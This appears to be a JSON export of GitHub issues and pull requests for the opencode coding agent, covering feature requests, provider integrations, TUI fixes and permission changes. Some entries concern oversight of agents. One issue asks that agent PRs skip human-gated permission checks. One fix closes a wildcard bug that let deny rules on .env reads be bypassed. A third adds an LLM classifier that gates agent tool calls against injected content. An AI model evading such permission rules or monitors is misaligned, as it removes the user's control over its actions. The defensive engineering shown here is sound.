        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## 🚀 Feature Request: Support Agent-Authored PRs in Permission Checks ### Summary I’m building a **fully agentic development workflow** using OpenCode, where agents autonomously triage issues, modify code, and open pull requests. Currently, this flow breaks when downstream PR review workflows fail due to permission checks on agent activity. --- ### Current Flow 1. A user creates an issue 2. `issue_triage` workflow runs 3. OpenCode agent: - Reviews the issue - Creates a new branch - Makes code changes - Opens a PR 4. `pr_review` workflow triggers on PR open --- ### Problem The `pr_review` workflow performs an `assertPermissions` check. Since the **last PR activity is from the OpenCode agent**, which does not have admin/write permissions, the workflow fails. <img width=\"1108\" height=\"615\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e99e670f-1bdd-4e52-8beb-96ada57b6489\" /> This stops the automation until a human manually re-triggers the workflow (e.g., toggling Draft → Ready for Review). This manual step breaks the goal of a **true agentic workflow**. --- ### Expected Behavior Agent-created PRs should be able to: - Trigger PR review workflows - Pass permission checks - Run end-to-end without requiring human intervention --- ### Proposed Solution (Preferred) Enhance `assertPermissions` to **recognize and allow trusted OpenCode agent activity**, enabling PR review workflows to proceed even when the last actor is an agent. This would unlock **fully autonomous issue → PR → review pipelines**. --- ### Alternative (Less Preferred) Allow agents to create **draft PRs** by default, requiring a human to mark them as “Ready for Review” to trigger the review workflow. While this works, it still requires manual intervention and limits true autonomy. --- ### Why This Matters Without this capability, OpenCode cannot fully support: - End-to-end agentic development - Autonomous refactoring or maintenance workflows - Multi-agent CI/CD pipelines Supporting agent-authored PRs as first-class contributors would significantly enhance OpenCode’s agentic development capabilities.",
        "url": "https://github.com/anomalyco/opencode/issues/7103",
        "createdAt": "2026-01-06T18:13:37Z",
        "updatedAt": "2026-08-12T15:26:47Z",
        "timestamp": "2026-08-12T15:26:47Z",
        "metrics": {
          "reactions": 12,
          "comments": 4
        },
        "labels": [],
        "author": "krish-59",
        "state": "open",
        "assignees": [
          "thdxr"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:7602",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Native Model Fallback / Failover Support",
        "text": "## Problem OpenCode supports: - Provider fallback **only** when the model ID is the same - Static agent-level model overrides There is **no way to define fallback between different models**, e.g.: > “If model A errors or rate-limits → automatically retry with model B” This causes long-running agent workflows to fail on transient provider/model issues and forces users to rely on external routers or proxies (like litellm). --- ## Request Add **first-class model fallback support** to OpenCode. ### Example (global) ```jsonc { \"models\": { \"coder\": { \"fallback\": [ \"anthropic/claude-3.5-sonnet\", \"openai/gpt-4o\", \"deepseek/deepseek-r1\" ] } } } ``` ### Example (agent-level) ```jsonc { \"agents\": { \"build\": { \"model\": { \"fallback\": [\"claude-sonnet\", \"gpt-4o-mini\"] } } } } ``` --- ## Behavior - Switch models on: rate limits, provider/model unavailability, 5xx errors - Do not retry on prompt or validation errors - Optional retry limit --- ## Why in Core - Model routing is an orchestration concern - External routers break plugin auth flows and agent semantics - Complements existing provider-order routing (e.g. #2153) --- ## Status - No existing plugin or PR implements true model fallback Thanks,",
        "url": "https://github.com/anomalyco/opencode/issues/7602",
        "createdAt": "2026-01-10T09:01:08Z",
        "updatedAt": "2026-08-13T12:03:52Z",
        "timestamp": "2026-08-13T12:03:52Z",
        "metrics": {
          "reactions": 107,
          "comments": 30
        },
        "labels": [],
        "author": "arisgrout",
        "state": "open",
        "assignees": [
          "thdxr"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:8058",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Feature Request: Add HTTP Streamable transport support for remote MCP servers",
        "text": "## Summary The current `type: \"remote\"` MCP configuration only supports **SSE (Server-Sent Events)** transport. However, the MCP protocol now includes **HTTP Streamable** transport (also called `http` or `streamable-http`), which is used by several major MCP servers including Sanity. ## Problem When configuring Sanity's hosted MCP server: ```json { \"mcp\": { \"sanity\": { \"type\": \"remote\", \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` OpenCode fails with: ``` SSE error: Non-200 status code (405) ``` This is because Sanity uses HTTP Streamable transport, not SSE. The 405 \"Method Not Allowed\" occurs because OpenCode sends a GET request expecting SSE, but Sanity expects POST requests for HTTP streaming. ## Current Workaround Using `mcp-remote` as a local proxy: ```json { \"mcp\": { \"sanity\": { \"type\": \"local\", \"command\": [\"npx\", \"-y\", \"mcp-remote\", \"https://mcp.sanity.io\", \"--transport\", \"http-only\"], \"timeout\": 60000 } } } ``` This works but adds unnecessary overhead and complexity. ## Proposed Solution Add native support for HTTP Streamable transport in remote MCP configuration: ```json { \"mcp\": { \"sanity\": { \"type\": \"remote\", \"transport\": \"http\", // or \"streamable-http\" \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` Or alternatively, a new type: ```json { \"mcp\": { \"sanity\": { \"type\": \"http\", // new type alongside \"remote\" (SSE) and \"local\" \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` ## Reference Other MCP clients already support this: - **Claude Code**: `claude mcp add -t http sanity https://mcp.sanity.io` - **Cursor**: `{ \"type\": \"http\", \"url\": \"https://mcp.sanity.io\" }` - **VS Code**: `{ \"type\": \"http\", \"url\": \"https://mcp.sanity.io\" }` See: https://www.sanity.io/docs/compute-and-ai/mcp-server ## Environment - OpenCode version: 1.1.14 - macOS version: 15.7.4 - Affected MCP server: Sanity (https://mcp.sanity.io)",
        "url": "https://github.com/anomalyco/opencode/issues/8058",
        "createdAt": "2026-01-12T19:49:57Z",
        "updatedAt": "2026-08-13T13:33:00Z",
        "timestamp": "2026-08-13T13:33:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 11
        },
        "labels": [],
        "author": "chindris-mihai-alexandru",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:8600",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Feature: opencode CLI uses fixed input + scrollable output pane, breaks Neovim-style scrolling",
        "text": "### Description Opencode has a scroll-able output area that scrolls within, but this style is a bit annoying if you are using this inside Neovim where scrolling up in normal mode does nothing whereas claude-code would show the entire history. ### Plugins _No response_ ### OpenCode version 1.1.6 ### Steps to reproduce _No response_ ### Screenshot and/or share link In this popup window, if I scroll up using `<c-d>` cursor moves to the top of the window and stops there, it wouldn't show the previous logs from opencode because output is not plain and scollable within the output box. <img width=\"3438\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c1ae75e7-dd5c-4c5c-b5bb-07ae6e24a8fe\" /> ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/8600",
        "createdAt": "2026-01-15T04:41:11Z",
        "updatedAt": "2026-08-13T11:15:27Z",
        "timestamp": "2026-08-13T11:15:27Z",
        "metrics": {
          "reactions": 8,
          "comments": 4
        },
        "labels": [
          "bug",
          "opentui"
        ],
        "author": "s1n7ax",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:13570",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: add opencode-sandbox to ecosystem plugins",
        "text": "### Issue for this PR Closes #42242 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds [opencode-sandbox](https://github.com/isanchez31/opencode-sandbox-plugin) to the ecosystem list. The plugin provides OS-level sandboxing for agent-executed bash commands using seatbelt on macOS and bubblewrap on Linux. ### How did you verify your code works? Merged the branch with the current `dev` branch and ran `git diff --check` on the documentation change. Confirmed the resulting PR diff contains only the intended ecosystem-table entry. ### Screenshots / recordings Not applicable; this is a documentation-only change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/13570",
        "createdAt": "2026-02-14T08:15:56Z",
        "updatedAt": "2026-08-13T04:31:21Z",
        "timestamp": "2026-08-13T04:31:21Z",
        "metrics": {
          "reactions": 2,
          "comments": 0
        },
        "labels": [],
        "author": "isanchez31",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:19959",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): add local server provider with auto model discovery",
        "text": "### Issue for this PR Closes #6231 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a `local` provider to `CUSTOM_LOADERS` that auto-discovers models from any OpenAI-compatible `/v1/models` endpoint at startup. When configured with a `baseURL`, it fetches the model list, registers each model, and returns `autoload: true`. If the endpoint is unreachable or returns nothing, it returns `autoload: false` and the provider is silently skipped. Also fixes the `CUSTOM_LOADERS` loop to allow custom loaders that don't have a models.dev entry — previously they were silently skipped because `database[providerID]` returned undefined and the loop hit `continue`. Usage: ```json { \"provider\": { \"local\": { \"options\": { \"baseURL\": \"http://localhost:11434/v1\", \"apiKey\": \"optional-key\" } } } } ``` This is an alternative to #17670 that solves the same problem in ~50 lines with no new config surface. ### How did you verify your code works? Three tests covering: - Successful discovery from a mocked `/models` endpoint - Graceful handling when the endpoint is unreachable - Graceful handling when `baseURL` is not configured Tested locally against llama-server and LM Studio. ### Screenshots / recordings _N/A — no UI changes._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/19959",
        "createdAt": "2026-03-29T23:02:40Z",
        "updatedAt": "2026-08-13T09:47:32Z",
        "timestamp": "2026-08-13T09:47:32Z",
        "metrics": {
          "reactions": 4,
          "comments": 3
        },
        "labels": [],
        "author": "hmblair",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:20491",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): add Kiro provider",
        "text": "### Issue for this PR Closes #9165, #26680 ### Type of change - [ ] Bug fix - [X] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds Kiro (AWS) as a provider to opencode through bundled plugin ([opencode-kiro](https://www.npmjs.com/package/opencode-kiro)). It uses the AI SDK compatible package [kiro-acp-ai-provider](https://www.npmjs.com/package/kiro-acp-ai-provider) which communicates with Kiro ACP. Auth plugin checks for an existing kiro-cli auth token. If not authenticated it launches kiro-cli login and polls until auth completes. Supports whatever authentication kiro-cli supports (Builder ID, IAM Identity Center, API keys, etc). Cost display: Kiro is credit-based so the standard $0.00 cost display doesn't apply. The plugin includes a modification to the TUI to show the current session's credit usage. This cost will be shown alonside $ cost if Kiro and a $ cost based provider are used in the same session. Models are in a separate [models.dev PR](https://github.com/anomalyco/models.dev/pull/2559) **Wiring into existing code:** - `packages/opencode/src/plugin/index.ts`: one import (`import { KiroAuthPlugin } from \"opencode-kiro/server\"`) and one entry added to the `internalPlugins()` array. - `packages/opencode/package.json`: one dependency line, `\"opencode-kiro\": \"0.3.6\"`. - `bunfig.toml`: `opencode-kiro` and `kiro-acp-ai-provider` added to `minimumReleaseAgeExcludes`. Reason: these packages were freshly published, so they have not yet cleared the configured minimum release-age window; the exclude lets the pinned versions install. This mirrors the existing entries for `opencode-gitlab-auth` and others. - `bun.lock`: regenerated to record the new dependency tree (adds `opencode-kiro@0.3.6` and its dependency `kiro-acp-ai-provider@2.1.2`). The bundled internal plugin is server-side only (no TUI). It contributes a `provider: \"kiro\"` auth hook with OAuth via the official `kiro-cli login`, plus a `provider.models` hook that adds reasoning-effort variants (see Reasoning effort below). The ACP protocol details are fully encapsulated in `kiro-acp-ai-provider@2.1.2` (a dependency of `opencode-kiro`), so opencode core never deals with ACP directly. `opencode-kiro` pins its only runtime dependency (`kiro-acp-ai-provider`) to an exact version rather than a range, so the bundled dependency tree is fully determined and not subject to drift. ### Auth flow, and the credits-sidebar consent prompt The bundled auth plugin shows a consent prompt during sign-in, and on approval it writes a TUI config file in the user's home config directory. When a user runs the `/connect` flow for Kiro, the plugin declares a Yes/No `select` via opencode's standard auth-method `prompts` contract: > Enable the Kiro credits sidebar? [Yes / No] - If the user picks Yes, the plugin writes the global `~/.config/opencode/tui.json` (or `$XDG_CONFIG_HOME/opencode/tui.json` when that is set), merging only `\"plugin\": [\"opencode-kiro\"]` into it. The write is idempotent and non-destructive, and a write failure never fails auth. - The credits sidebar is appended as its own box; it does not disable or replace the native context box. - If the user picks No, nothing is written and login still succeeds. This config is what enables the opt-in credits sidebar described below. It is separate from the `opencode plugin opencode-kiro` installer path, which is opencode-core functionality that patches the `plugin` arrays of `.opencode/opencode.json` and `.opencode/tui.json`. ### Reasoning effort Models that expose an effort setting (Opus 4.8/4.7/4.6, Sonnet 4.6) get selectable effort levels through opencode's variant toggle (ctrl+t). The plugin's `provider.models` hook maps each model's supported levels to opencode variants, and `kiro-acp-ai-provider` applies the chosen level through kiro-cli. minimax m2.5/m2.1 stream reasoning with no selectable effort. **Why not reuse PRs #9164 / #18408:** - Neither is compliant with the current [Kiro T&C](https://kiro.dev/faq/#with-which-tools-can-i-use-my-kiro-subscription). ### How did you verify your code works? - End-to-end tested using multiple kiro models : chat streaming, tool calling (bash, file ops), tool result round-trips, multi-turn conversations, compaction, revert, fork, subagent isolation. - Credit display verified in TUI. - The opencode-kiro kiro-acp-ai-provider tests suites passing independently ### Screenshots / recordings <img width=\"1019\" height=\"462\" alt=\"Screenshot 2026-06-24 at 18 46 28\" src=\"https://github.com/user-attachments/assets/02644ee3-18de-476f-904c-def43a551045\" /> <img width=\"485\" height=\"211\" alt=\"Screenshot 2026-06-18 at 00 20 47\" src=\"https://github.com/user-attachments/assets/8f0f5ffd-73ec-46b3-87de-c753349e0708\" /> <img width=\"487\" height=\"160\" alt=\"Screenshot 2026-06-18 at 00 20 26\" src=\"https://github.com/user-attachments/assets/ba2016bc-28ee-4eaf-a5c2-8075753e521f\" /> <img width=\"489\" height=\"181\" alt=\"Screenshot 2026-06-18 at 00 20 13\" src=\"https://github.com/user-attachments/assets/0c5871a9-894f-4c97-abf5-bdda93b9b23e\" /> ### Checklist - [X] I have tested my changes locally - [X] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/20491",
        "createdAt": "2026-04-01T15:17:06Z",
        "updatedAt": "2026-08-13T03:27:26Z",
        "timestamp": "2026-08-13T03:27:26Z",
        "metrics": {
          "reactions": 48,
          "comments": 54
        },
        "labels": [
          "contributor"
        ],
        "author": "NachoFLizaur",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:26861",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): Old messages disappearing during long sessions",
        "text": "### Issue for this PR Fix #7380 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? 1. Add lazy-scroll loading: • Scrolling up: When user reaches within 5px of the top, loads next 50 older messages via before cursor • Scrolling down: When user reaches within 5px of the bottom, loads next 50 newer messages via after cursor 2. Timeline Dialog Complete Load: When Timeline dialog opens, exhaustively loads all session's related messages. Also, use full `DD/MM/YYYY HH:MM` timestamp format in footer **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? 1. Open a session with 100+ historical messages 2. Scroll up: loading indicator appears near top, next 50 messages prepended, visual position preserved 3. Continue scrolling up: cycle repeats until first message visible 4. Open Timeline dialog: all prompts appear with full date/time footers 5. Select old message from Timeline: view scrolls to it correctly 6. Send new messages: old messages remain (not evicted while streaming) 7. Test short sessions (<100 messages): no regressions ### Screenshots / recordings #### Original behavior <img width=\"1536\" height=\"864\" alt=\"original_issue\" src=\"https://github.com/user-attachments/assets/4c749a62-c33d-42bf-8739-e9d114bb9bd7\" /> #### Updated behavior <img width=\"1344\" height=\"756\" alt=\"fixed\" src=\"https://github.com/user-attachments/assets/75a13551-9e63-4c3e-91db-315260eb21b1\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._ ### Additional notes I set up the [test builds actions](https://github.com/vpetrigo/opencode/releases) that use the PR's branch with the fix and the release version of the OpenCode project. For now there is only Win x64 and Linux x64 executables available.",
        "url": "https://github.com/anomalyco/opencode/pull/26861",
        "createdAt": "2026-05-11T11:25:00Z",
        "updatedAt": "2026-08-13T08:01:48Z",
        "timestamp": "2026-08-13T08:01:48Z",
        "metrics": {
          "reactions": 7,
          "comments": 2
        },
        "labels": [],
        "author": "vpetrigo",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:27554",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): local LAN provider discovery + auto-discover models",
        "text": "### Issue for this PR Closes #6231 Closes #27553 ### Type of change - [x] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? - Adds `Local (LAN)` discovery in `/connect` for local OpenAI-compatible servers. - Combines mDNS, localhost probing, and bounded LAN probing to find reachable local instances. - Lets users add discovered providers in bulk and marks already configured entries. - Shows if local providers are online or offline - Auto-discovers models for OpenAI-compatible providers from `/models`, including limits like context window and max output tokens when available. - Compatible with and preserves manually configured/edited providers and models and respects `discoverModels: true|false`. - Adds context `current / context_length` when available (see llama-swap PR below) to Context in sidebar and footer. - Fixes unrelated bugs introduced by rebase, --agent parameter would crash opencode. ### Related Server-side companion: [mostlygeek/llama-swap#755](https://github.com/mostlygeek/llama-swap/pull/755) adds `context_length` and `max_output_tokens` to the `/v1/models` response. When those fields are present, this PR reads them to configure each model's context window and output token limits automatically — no manual config needed. ### How did you verify your code works? - ` bun run typecheck` - `bun test test/provider/provider.test.ts --timeout 30000` - `bun turbo typecheck` - Manually tested `/connect -> Local (LAN)` against multiple local OpenAI-compatible servers on localhost and LAN. ### Screenshots / recordings <img width=\"261\" height=\"86\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1704986-3889-42a9-8bbd-22c50fc21907\" /> <img width=\"627\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2ac10210-acf5-44ff-a2e3-92512e54dd1d\" /> <img width=\"200\" height=\"78\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d621dd0d-78ec-4797-aff3-56f06dbe49ac\" /> ### Provider config example ``` \"proxmox\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"Proxmox\", \"options\": { \"baseURL\": \"http://192.168.1.123:8080/v1\", \"apiKey\": \"ollama\" }, \"discoverModels\": true }, ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/27554",
        "createdAt": "2026-05-14T14:35:11Z",
        "updatedAt": "2026-08-12T22:40:06Z",
        "timestamp": "2026-08-12T22:40:06Z",
        "metrics": {
          "reactions": 10,
          "comments": 6
        },
        "labels": [],
        "author": "androidand",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:28689",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(permission): make * not match / in wildcard patterns, add ** globstar support",
        "text": "### Issue for this PR Closes #28150 ### Type of change - [x] Bug fix ### What does this PR do? **Issue:** Granular read permission deny rules don't block file access. When a user configures `{ read: { \"*.env\": \"deny\", \"*\": \"allow\" } }`, the deny rule is bypassed for paths like `src/.env`. **Root cause:** Wildcard `*` was converted to regex `.*`, which matches any character including `/`. This meant `*.env` matched `src/.env`, `a/b/.env`, making it as broad as `*`. With \"last matching rule wins\" semantics, a later wildcard `*` rule always overrode specific deny rules for any path containing `/`. **Fix:** Made `*` match any characters except `/`, added `**` globstar support for cross-directory matching. This aligns with standard glob semantics (gitignore, bash glob). #### Files changed: **1. `packages/core/src/util/wildcard.ts` — core wildcard matching** Changed the regex generation: - `*` → `[^/]*` (matches any chars except `/`) - `**` → `.*` (matches any chars including `/`) - `?` → `[^/]` (single char except `/`) Uses placeholder tokens to avoid `**` being partially consumed by the `*` replacement and `?` corrupting the `(?:...)?` optional group in `**/`. **2. `packages/opencode/src/util/wildcard.ts` — same changes for the opencode copy** **3. `packages/opencode/src/agent/agent.ts` — updated default permission rules** Patterns that need to match across directories now use `**`: - `read`: `\"*\"` → `\"**\"` (catch-all), `\"*.env\"` → `\"**/*.env\"` (deny at any depth) - `external_directory`: `\"*\"` → `\"**\"` (catch-all) - whitelisted dirs: `\"*\"` suffix → `\"**\"` suffix **4. `packages/opencode/src/permission/index.ts` — defensive validation** Added type check in `fromConfig()` to skip array/null values with a warning. #### Examples: | Pattern | Before (bug) | After (fix) | |---------|-------------|-------------| | `*.env` | matches `.env`, `src/.env`, `a/b/.env` | matches `.env` only | | `**/*.env` | same as `*.env` (no `**` support) | matches `.env`, `src/.env`, `a/b/.env` | | `src/*.env` | matches `src/.env`, `src/a/.env` | matches `src/.env` only | | `src/**/*.env` | not possible | matches `src/.env`, `src/a/.env` | | `*` | matches anything including paths | matches single-segment filenames only | | `**` | same as `*` | matches anything including paths | #### Config migration for users: If your config uses `*` to match files at any depth, change to `**`: ```json // Before (worked because * matched /) { \"read\": { \"*\": \"allow\", \"*.env\": \"deny\" } } // After (use ** for cross-directory) { \"read\": { \"**\": \"allow\", \"**/*.env\": \"deny\" } } ``` ### How did you verify your code works? - All 15 wildcard tests pass (6 new tests added for path-aware matching) - All 85 permission tests pass (5 updated for new wildcard semantics) - 31/40 read tool tests pass (8 env file tests now pass correctly, 1 pre-existing scout timeout unrelated to this change) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/28689",
        "createdAt": "2026-05-21T17:24:18Z",
        "updatedAt": "2026-08-13T01:28:32Z",
        "timestamp": "2026-08-13T01:28:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "lexlian",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:30639",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): route nested blockers to ancestor clients",
        "text": "### Issue for this PR Closes #13715 Also addresses #7654. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Nested Task sessions can raise permission and question requests several levels below the root. The TUI, `opencode run`, and ACP previously matched only the session they directly tracked, so deeper requests could be dropped. The TUI now reads blockers from the full in-memory session subtree. `opencode run` discovers existing descendants on attach, follows new descendants while streaming, and resolves ancestry when events arrive out of order. ACP follows parent links to the managed session and serializes its permission prompts. Tree discovery has cancellation, request and total timeouts, bounded concurrency, a session limit, and cycle detection. ACP shutdown cancels retained lookups and queued prompts, and duplicate events share the pending request. ### How did you verify your code works? The focused opencode suite passes 70 tests. The TUI subtree tests pass. Subprocess tests cover a grandchild permission in both headless run and ACP. `bun typecheck` passes in `packages/opencode` and `packages/tui`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/30639",
        "createdAt": "2026-06-03T23:15:43Z",
        "updatedAt": "2026-08-12T16:12:27Z",
        "timestamp": "2026-08-12T16:12:27Z",
        "metrics": {
          "reactions": 3,
          "comments": 3
        },
        "labels": [],
        "author": "literally-dan",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:31834",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(acp): emit plan session updates from todowrite tool calls",
        "text": "### Issue for this PR (I reopened this because I somehow got #30658 closed) When working on [hydra-acp](https://github.com/smagnuso/hydra-acp) I noticed that I was not getting plans rendered in opencode as I had in claude. Closes #30659 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Translates todowrite tool calls into ACP SessionUpdate::Plan notifications so ACP clients (Zed, JetBrains, Hydra, etc.) can render a live plan/todo panel. This is the same data ACP clients receive from Claude Code today; opencode already produces the structured input but the ACP bridge never forwarded it. ### How did you verify your code works? Ran a prompt in in [hydra-acp](https://github.com/smagnuso/hydra-acp) that created a plan: create a plan with 5 items in it each run ping -c 1 www.google.com check off items as you complete them ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/31834",
        "createdAt": "2026-06-11T04:17:50Z",
        "updatedAt": "2026-08-12T17:37:13Z",
        "timestamp": "2026-08-12T17:37:13Z",
        "metrics": {
          "reactions": 2,
          "comments": 2
        },
        "labels": [
          "contributor"
        ],
        "author": "smagnuso",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:33586",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat: LLM command-approval classifier (auto mode)",
        "text": "### Issue for this PR Closes #33585 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds an opt-in \"auto mode\" classifier that gates the *would-auto-approve* path in `Permission.ask`. When a rule resolves to `allow`, a model is consulted first; it can allow (proceed silently), block (deny-and-continue — returns a `ClassifierDeniedError` the agent sees as a tool error, with no halt), or fail closed to a human prompt on error/escalation. It never overrides an explicit user `deny`/`ask`. Off by default. Why it's built this way: - The gate sits at the single `!needsAsk` decision in `Permission.ask`, so it covers every permissioned tool (bash, edit, webfetch, MCP, task, external-dir), not just bash. Read-only tools short-circuit before any model call. - The classifier is fed a reasoning-blind transcript — user text + the bare tool-call payload only, no assistant prose and no prior tool output — so tool-sourced/injected content can't grant permission and the model can't be talked into a call by the agent's own narration. - `session/tools.ts` passes the gate as a thunk run through the existing `EffectBridge` (`run.run`), which supplies the captured request context, so `Permission.ask`'s requirement set stays `never`. - Denials are counted per session (3 consecutive / 20 total → escalate to the human), reset each user turn, so a false positive can't loop forever. - The backend is pluggable; the default calls the user's configured model via the AI SDK. `og-local`/`og-saas` backends are present but fail closed until implemented. Config is a new `classifier` block in `core/v1/config`. ### How did you verify your code works? `bun run typecheck` is clean, and `bun test test/classifier.test.ts` passes (11 tests covering: no assistant-prose leak into the transcript, unparseable verdict → fail closed, the safe-tool allowlist, and the copy-then-edit policy slots). The pre-push checks pass. ### Screenshots / recordings N/A — no UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/33586",
        "timestamp": "2026-08-12T12:51:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "thomaslwang",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:35311",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix (core): Multiple clones of same repo are different projects",
        "text": "### Issue for this PR Closes #17940 #19348 #29869 #29871 #29962 #29936 #29977 #30302 #31593 #31686 #31890 #32785 #32801 #33313 #33615 #42040 ### Type of change - [X] Bug fix - [ ] New feature - [X] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR changes `.git/opencode` from the hash of the repo name to json; with a version and UUID. This UUID per repo-clone (locally) satisfies work trees being keyed to their respective repo-clones and separating repo-clones from each other (locally). The file is automatically upgraded if the file is not json/UUID format. The upgrade path is automatic. The GUI touches the project on open to ensure consistency. Changing the path (or folder name) of a repo-clone keeps the same UUID. The project stops working in the GUI... when the new moved project is opened then the session and work trees are updated. The old project (and session data) is updated to the new path; with the old project sessions updated to the new project path-location. ### How did you verify your code works? - New unit tests to verify behavior. - GUI test for Open Project on already open project, regression passed. - GUI test for Open Project on the same repo cloned in two different locations do open in separate projects. ### Screenshots / recordings N/A ### Checklist - [X] I have tested my changes locally - [X] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/35311",
        "createdAt": "2026-07-04T12:15:44Z",
        "updatedAt": "2026-08-13T08:13:30Z",
        "timestamp": "2026-08-13T08:13:30Z",
        "metrics": {
          "reactions": 7,
          "comments": 16
        },
        "labels": [],
        "author": "belisoful",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36468",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): preserve valid empty JSON config",
        "text": "### Issue for this PR Closes #36374 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Avoids adding a dangling comma when `$schema` is inserted into an empty config object. The comma is now included only when the parsed config already has keys, so `{}` remains valid strict JSON after being rewritten. ### How did you verify your code works? - `bun test test/config/config.test.ts` (97 passed) - `bun typecheck` from `packages/opencode` - Added a regression test that parses the rewritten file with `JSON.parse` ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36468",
        "createdAt": "2026-07-11T23:33:44Z",
        "updatedAt": "2026-08-12T22:13:49Z",
        "timestamp": "2026-08-12T22:13:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
